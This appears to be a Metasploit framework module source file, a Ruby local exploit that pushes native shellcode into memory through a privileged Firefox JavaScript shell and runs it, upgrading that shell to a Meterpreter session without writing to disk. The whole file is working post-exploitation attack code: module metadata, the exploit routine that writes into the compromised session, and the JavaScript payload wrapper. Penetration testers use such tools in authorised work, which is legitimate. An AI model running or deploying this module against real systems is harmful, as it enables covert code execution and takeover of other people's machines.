exec_shellcode.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # Missing autodetection, but has widespread targetability

  include Msf::Payload::Firefox
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
        'Description' => %q{
          This module allows execution of native payloads from a privileged Firefox Javascript shell.
          It places the specified payload into memory, adds the necessary protection flags,
          and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
          session without touching the disk.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'joev' ],
        'DisclosureDate' => '2014-03-10',
        'Targets' => [
          [
            'Native Payload', {
              'Platform' => %w[linux osx win unix],
              'Arch' => ARCH_ALL
            }
          ]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
    ])
  end

  def exploit
    print_status('Running the JavaScript shell...')
    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
    results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])
    print_warning(results) if results.present?
  end

  def js_payload
    %|
      (function(send){
        try {
          #{run_payload}
          send("Payload executed.");
        } catch (e) {
          send(e);
        }
      })(send);
    |.strip
  end
end